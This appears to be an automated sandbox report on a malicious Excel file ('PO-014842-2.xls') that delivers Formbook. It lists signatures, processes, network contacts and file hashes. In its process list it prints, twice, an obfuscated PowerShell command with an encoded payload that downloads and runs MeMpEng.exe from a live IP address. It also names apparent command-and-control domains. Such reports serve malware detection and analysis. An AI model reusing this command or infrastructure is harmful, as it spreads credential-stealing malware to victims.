Analysis Overview
SHA256
b171b5e7c7abd247edcc25f1c00301e89f1e9715ed6d98f03f4b6a6674c5834b
Threat Level: Known bad
The file PO-014842-2.xls was found to be: Known bad.
Malicious Activity Summary
Formbook
Process spawned unexpected child process
Formbook payload
Evasion via Device Credential Deployment
Blocklisted process makes network request
Downloads MZ/PE file
Executes dropped EXE
Loads dropped DLL
Suspicious use of SetThreadContext
Drops file in System32 directory
System Location Discovery: System Language Discovery
Enumerates physical storage devices
Enumerates system info in registry
Uses Volume Shadow Copy service COM API
Checks processor information in registry
Suspicious use of SetWindowsHookEx
Suspicious behavior: MapViewOfSection
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Uses Volume Shadow Copy WMI provider
Modifies Internet Explorer settings
Suspicious behavior: AddClipboardFormatListener
Suspicious behavior: EnumeratesProcesses
Uses Task Scheduler COM API
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-08-29 05:51
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-08-29 05:51
Reported
2024-08-29 05:53
Platform
win7-20240705-en
Max time kernel
149s
Max time network
138s
Command Line
Signatures
Formbook
Formbook payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Downloads MZ/PE file
Evasion via Device Credential Deployment
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\MeMpEng.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\MeMpEng.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 320 set thread context of 1580 | N/A | C:\Users\Admin\AppData\Roaming\MeMpEng.exe | C:\Users\Admin\AppData\Roaming\MeMpEng.exe |
| PID 1580 set thread context of 1256 | N/A | C:\Users\Admin\AppData\Roaming\MeMpEng.exe | C:\Windows\Explorer.EXE |
| PID 2188 set thread context of 1256 | N/A | C:\Windows\SysWOW64\explorer.exe | C:\Windows\Explorer.EXE |
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\explorer.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Roaming\MeMpEng.exe | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Modifies Internet Explorer settings
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-2172136094-3310281978-782691160-1000\Software\Microsoft\Internet Explorer\Main | C:\Windows\SysWOW64\mshta.exe | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious behavior: MapViewOfSection
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\MeMpEng.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\MeMpEng.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\MeMpEng.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\explorer.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\explorer.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Roaming\MeMpEng.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\explorer.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\PO-014842-2.xls
C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe -Embedding
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" "/C powErShElL -EX byPasS -nOP -W 1 -c dEviceCrEdeNtIalDePLOyMENT ; iex($(iEX('[systeM.text.encodIng]'+[ChAR]58+[ChAR]0x3A+'uTf8.gETstRiNg([sYSTEM.cONveRt]'+[chAR]0x3a+[ChAR]58+'froMBasE64strINg('+[cHAr]34+'JE5JTWhGTFlIRk4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBZEQtdHlQZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTWVNYmVSRGVGaW5pdElvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBNY2lwcWpxLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIS0Qsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhWLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUlFtcUlSVXV6LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBuR29iUFF4dCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZ3lNbG9uUVIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYU1lc3BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeGh2Y3lnR21Ma28gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkTklNaEZMWUhGTjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzQ1Ljg5LjI0Ny4xNTEvNDU4L01lTXBFbmcuZXhlIiwiJGVuVjpBUFBEQVRBXE1lTXBFbmcuZXhlIiwwLDApO1NUQXJ0LVNMZWVQKDMpO1N0YXJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZW52OkFQUERBVEFcTWVNcEVuZy5leGUi'+[chaR]0X22+'))')))"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powErShElL -EX byPasS -nOP -W 1 -c dEviceCrEdeNtIalDePLOyMENT ; iex($(iEX('[systeM.text.encodIng]'+[ChAR]58+[ChAR]0x3A+'uTf8.gETstRiNg([sYSTEM.cONveRt]'+[chAR]0x3a+[ChAR]58+'froMBasE64strINg('+[cHAr]34+'JE5JTWhGTFlIRk4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBZEQtdHlQZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTWVNYmVSRGVGaW5pdElvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBNY2lwcWpxLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIS0Qsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhWLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUlFtcUlSVXV6LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBuR29iUFF4dCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZ3lNbG9uUVIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYU1lc3BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeGh2Y3lnR21Ma28gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkTklNaEZMWUhGTjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzQ1Ljg5LjI0Ny4xNTEvNDU4L01lTXBFbmcuZXhlIiwiJGVuVjpBUFBEQVRBXE1lTXBFbmcuZXhlIiwwLDApO1NUQXJ0LVNMZWVQKDMpO1N0YXJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZW52OkFQUERBVEFcTWVNcEVuZy5leGUi'+[chaR]0X22+'))')))"
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\nsfvyqgd.cmdline"
C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1315.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC1314.tmp"
C:\Users\Admin\AppData\Roaming\MeMpEng.exe
"C:\Users\Admin\AppData\Roaming\MeMpEng.exe"
C:\Users\Admin\AppData\Roaming\MeMpEng.exe
"C:\Users\Admin\AppData\Roaming\MeMpEng.exe"
C:\Windows\SysWOW64\explorer.exe
"C:\Windows\SysWOW64\explorer.exe"
C:\Windows\SysWOW64\cmd.exe
/c del "C:\Users\Admin\AppData\Roaming\MeMpEng.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | zhort.de | udp |
| DE | 88.99.66.38:443 | zhort.de | tcp |
| US | 8.8.8.8:53 | e6.o.lencr.org | udp |
| GB | 173.222.211.43:80 | e6.o.lencr.org | tcp |
| NL | 45.89.247.151:80 | 45.89.247.151 | tcp |
| DE | 88.99.66.38:443 | zhort.de | tcp |
| NL | 45.89.247.151:80 | 45.89.247.151 | tcp |
| NL | 45.89.247.151:80 | 45.89.247.151 | tcp |
| US | 8.8.8.8:53 | crl.microsoft.com | udp |
| GB | 2.18.190.71:80 | crl.microsoft.com | tcp |
| US | 8.8.8.8:53 | www.ontosdabiblia.online | udp |
| US | 8.8.8.8:53 | www.3tcxr.xyz | udp |
| US | 8.8.8.8:53 | www.ianju-ljef097.vip | udp |
| US | 8.8.8.8:53 | www.anifestmindset.net | udp |
| US | 8.8.8.8:53 | www.5ldym2.shop | udp |
Files
memory/2164-0-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/2164-1-0x0000000072BED000-0x0000000072BF8000-memory.dmp
memory/2696-16-0x00000000001F0000-0x00000000001F2000-memory.dmp
memory/2164-17-0x0000000002430000-0x0000000002432000-memory.dmp
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7E8BDF27898FD04B591B0B0011B10808
| MD5 | 2a22d79f810194591562f5550fd2fdaf |
| SHA1 | 9085f1492a5bcc3f539169ebd82cbe8ead4f4eec |
| SHA256 | d0321588aa29241312e1508e1013faabd7a815767235104fbe3a6b9b5600d9f1 |
| SHA512 | 281e6f5ad830fb2cc0c08618a13b14b9e82a944ab2efb32999d2f9a89ae3be6854f9cf60de2910f3866a14deda74719d8676de82932ea3fdd581ecc75092b579 |
C:\Users\Admin\AppData\Local\Temp\CabD69.tmp
| MD5 | 49aebf8cbd62d92ac215b2923fb1b9f5 |
| SHA1 | 1723be06719828dda65ad804298d0431f6aff976 |
| SHA256 | b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f |
| SHA512 | bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7E8BDF27898FD04B591B0B0011B10808
| MD5 | 534bd99e6dce3f8e39411bc94ae98ed4 |
| SHA1 | 5e322b728f5f54432676a7ac363410d18d21e7b7 |
| SHA256 | f12c730a786b665bc5ffd38bf5e5304200fe027e3d447ff41d88b0820e3a6076 |
| SHA512 | eb12556f0ac6e503316b7fe374fd7c48db7a026dd1d1fe63c3b02ac6e862fb804868ee9afe66b2ae0d9f68cc04e0bba65c3d8e7670415ff6790c3e81a941da9e |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751
| MD5 | 9549a9df6fb8e5461fa607946d9c9748 |
| SHA1 | d3bd6f0f2de6ed62e308d4f922a59c3724f237e9 |
| SHA256 | f12d576691cd566f1efa4138379c523e4ad042a0229e1f56a1e3e5796d805cb6 |
| SHA512 | bf8c9fb45c394ed349430c0c839c45a387e754ccaa3e8cdeb3a7cc97b6b8ccbaa7e7dff0b82ac0eb26ef214a8155b00a69931510566b0d7e3ff1d5957f9ede6a |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751
| MD5 | 822467b728b7a66b081c91795373789a |
| SHA1 | d8f2f02e1eef62485a9feffd59ce837511749865 |
| SHA256 | af2343382b88335eea72251ad84949e244ff54b6995063e24459a7216e9576b9 |
| SHA512 | bacea07d92c32078ca6a0161549b4e18edab745dd44947e5f181d28cc24468e07769d6835816cdfb944fd3d0099bde5e21b48f4966824c5c16c1801712303eb6 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5J67VDZD\IEnetworthUpdated[1].hta
| MD5 | 87635cf66104074c53e698677de6002b |
| SHA1 | 958ba282403c968f0dc8631aa396b8a73612ffe3 |
| SHA256 | 4768f32e03962166a83fab45ea2e5865291e66bff359c547573ca34da6fe78cf |
| SHA512 | 7976b9820a1494953d6b99982e696a9faed599bc8ec932e92285ab10eb5db8d6ff76794309d062c8e8410e1142d06f75a70c417ea646e0adb5b42a2c55a3e31d |
\??\c:\Users\Admin\AppData\Local\Temp\nsfvyqgd.cmdline
| MD5 | 4eda8a94dbf86bb66f8d20cd21aaad8e |
| SHA1 | eb3c28587b33168462da935058ff9801bf4c6d2a |
| SHA256 | 1fc1f6b99ecfbf2052b92ef27d4133864a7b3dc2ad95765d296e18388f7e1a6d |
| SHA512 | 0d95d10746f0af83b4c71a35b6b94a587f2e97c2cf20c8cd662ed1d37c20d90543edb67c698d54e019fe6cbb457befd50d6f39da82a22927305d48dd4e0ac3d9 |
\??\c:\Users\Admin\AppData\Local\Temp\nsfvyqgd.0.cs
| MD5 | f2a64cd1f09c060d9412d84239f92021 |
| SHA1 | 8053849b3e79d63181b74207b19e76775a248982 |
| SHA256 | 2f6ec9f074eca2e37185fbec988ed8bd98be664feeec718f77cc489413ddd1d7 |
| SHA512 | f7661e45c4752e6457741d1bd753e25e1b624fd0c85062b74c0a8d0334c4b7a7fb4ef58295b31607ad427b08d8b87b730025b33fbd3b60041af83e29dbb95513 |
\??\c:\Users\Admin\AppData\Local\Temp\CSC1314.tmp
| MD5 | 1b4f65611ebc13e5b7a5198551084ff7 |
| SHA1 | 89e7d3f5e0df7cb5bf20c723b7e73d9318c9f285 |
| SHA256 | aa8d9b46f7b688268f7a22eeca331325fda1ebe9ff83d3b45b022648622eb996 |
| SHA512 | 5ff43c55ba5e2078cc8564eec8f1de11dc765e0efacf7fa9f1bea40c6a236578aeb596c876513df8b491f760b66244976b9b62d48392aa74f305ebb464bf4954 |
C:\Users\Admin\AppData\Local\Temp\RES1315.tmp
| MD5 | add1b3eb87540c5e6cff33722db2a32e |
| SHA1 | 637d4bc402cdb9c12e1a9dcab2c4b62db80cc471 |
| SHA256 | a709d5ad70c519880139406b1a35b6308a760bcf41775f4d8344f71b909bed84 |
| SHA512 | 8197cd854351cf27e2eb5dcce0d30aac4b5a6c587152527bdcd2f8f7aee63532c74e90a6c5eede03d6f654fbdcf3b0c10760e9a9d8b0cba55d7f387d1b04b54d |
C:\Users\Admin\AppData\Local\Temp\nsfvyqgd.dll
| MD5 | 31dfc3cd590af0c5630dd31bf6695053 |
| SHA1 | 70e083b9537bda9f08985ce0637c24032dc305ac |
| SHA256 | d71d8aa1c81f7c4a8a93aedef302418a9a213858f7ee8c5b4152b828c39fd9e7 |
| SHA512 | 4e9738b591e75149ee22698e0a414a9ab5baa13ad439dbbc0bc1e245d749ad43217d7c83e285949ae9fd2792066609b06893da79f865bf6bc93aae1d99332083 |
C:\Users\Admin\AppData\Local\Temp\nsfvyqgd.pdb
| MD5 | 948fcf44ad78a7efdfed5cec6e8e2878 |
| SHA1 | c93e73caec310d62a21287c053d3802da4c8e4e4 |
| SHA256 | 95bd08f3d4e27014c30681fa43bd471f9a356d681c0dd28b699d59bad9fe0e97 |
| SHA512 | d35fdcbc397e478aa0b1e54d4c3d3ba3db7ba397f46bb406e713a88693a93dd046901e615db9af963ad3a348721de0a1b08fb3039ed2bec346baacc94686caab |
\Users\Admin\AppData\Roaming\MeMpEng.exe
| MD5 | dd2e0becfb1316c49975386fc3367c45 |
| SHA1 | 98c578ff997ef781919ca5967251fa9d462a756e |
| SHA256 | 14d4d6df33e96af2a1d5ef8f8e7f6f1b914b0342b219c75f812848f52bc27628 |
| SHA512 | 4768fa7aa32dc02e958c8506880311bb0d4fa5a9cd9fcdc6581a8349b1d85b3323513d28018b55ffbdb79e440e4b371dfb260cbd097ffd2279993b9a1a416bfb |
memory/320-61-0x0000000000DF0000-0x0000000000E8C000-memory.dmp
memory/2164-62-0x0000000072BED000-0x0000000072BF8000-memory.dmp
memory/320-63-0x00000000004B0000-0x00000000004C8000-memory.dmp
memory/320-64-0x00000000047B0000-0x0000000004826000-memory.dmp
memory/1580-65-0x0000000000400000-0x000000000042F000-memory.dmp
memory/1580-70-0x0000000000400000-0x000000000042F000-memory.dmp
memory/1580-69-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
memory/1580-67-0x0000000000400000-0x000000000042F000-memory.dmp
memory/2188-74-0x0000000000AE0000-0x0000000000D61000-memory.dmp
memory/2188-75-0x00000000000E0000-0x000000000010F000-memory.dmp
memory/1256-78-0x0000000004BD0000-0x0000000004C8F000-memory.dmp
memory/2164-86-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/2164-89-0x0000000072BED000-0x0000000072BF8000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-08-29 05:51
Reported
2024-08-29 05:53
Platform
win10v2004-20240802-en
Max time kernel
143s
Max time network
127s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\System32\mshta.exe | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE |
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\BIOS | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 5024 wrote to memory of 2012 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\System32\mshta.exe |
| PID 5024 wrote to memory of 2012 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\System32\mshta.exe |
Uses Task Scheduler COM API
Uses Volume Shadow Copy WMI provider
Uses Volume Shadow Copy service COM API
Processes
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\PO-014842-2.xls"
C:\Windows\System32\mshta.exe
C:\Windows\System32\mshta.exe -Embedding
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | roaming.officeapps.live.com | udp |
| FR | 52.109.68.129:443 | roaming.officeapps.live.com | tcp |
| US | 8.8.8.8:53 | 97.32.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 97.17.167.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 0.205.248.87.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 129.68.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | zhort.de | udp |
| DE | 88.99.66.38:443 | zhort.de | tcp |
| US | 8.8.8.8:53 | e6.o.lencr.org | udp |
| GB | 173.222.211.43:80 | e6.o.lencr.org | tcp |
| NL | 45.89.247.151:80 | 45.89.247.151 | tcp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 38.66.99.88.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 168.245.100.95.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 43.211.222.173.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 151.247.89.45.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 140.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 43.58.199.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 137.71.105.51.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 228.249.119.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 50.23.12.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 56.126.166.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 147.142.123.92.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 73.144.22.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 13.227.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 57.169.31.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 22.236.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 8.8.8.8:53 | 88.156.103.20.in-addr.arpa | udp |
Files
memory/5024-1-0x00007FFE91A2D000-0x00007FFE91A2E000-memory.dmp
memory/5024-0-0x00007FFE51A10000-0x00007FFE51A20000-memory.dmp
memory/5024-2-0x00007FFE51A10000-0x00007FFE51A20000-memory.dmp
memory/5024-3-0x00007FFE51A10000-0x00007FFE51A20000-memory.dmp
memory/5024-4-0x00007FFE51A10000-0x00007FFE51A20000-memory.dmp
memory/5024-6-0x00007FFE91990000-0x00007FFE91B85000-memory.dmp
memory/5024-9-0x00007FFE91990000-0x00007FFE91B85000-memory.dmp
memory/5024-10-0x00007FFE91990000-0x00007FFE91B85000-memory.dmp
memory/5024-12-0x00007FFE91990000-0x00007FFE91B85000-memory.dmp
memory/5024-11-0x00007FFE91990000-0x00007FFE91B85000-memory.dmp
memory/5024-13-0x00007FFE4F9B0000-0x00007FFE4F9C0000-memory.dmp
memory/5024-16-0x00007FFE91990000-0x00007FFE91B85000-memory.dmp
memory/5024-17-0x00007FFE4F9B0000-0x00007FFE4F9C0000-memory.dmp
memory/5024-15-0x00007FFE91990000-0x00007FFE91B85000-memory.dmp
memory/5024-14-0x00007FFE91990000-0x00007FFE91B85000-memory.dmp
memory/5024-8-0x00007FFE91990000-0x00007FFE91B85000-memory.dmp
memory/5024-5-0x00007FFE91990000-0x00007FFE91B85000-memory.dmp
memory/5024-7-0x00007FFE51A10000-0x00007FFE51A20000-memory.dmp
memory/2012-38-0x00007FFE91990000-0x00007FFE91B85000-memory.dmp
memory/2012-41-0x00007FFE91990000-0x00007FFE91B85000-memory.dmp
memory/2012-40-0x00007FFE91990000-0x00007FFE91B85000-memory.dmp
memory/2012-43-0x00007FFE91990000-0x00007FFE91B85000-memory.dmp
memory/2012-42-0x00007FFE91990000-0x00007FFE91B85000-memory.dmp
memory/5024-45-0x00007FFE91990000-0x00007FFE91B85000-memory.dmp
memory/5024-46-0x00007FFE91A2D000-0x00007FFE91A2E000-memory.dmp
memory/2012-47-0x00007FFE91990000-0x00007FFE91B85000-memory.dmp
memory/2012-48-0x00007FF7A29A0000-0x00007FF7A29A8000-memory.dmp
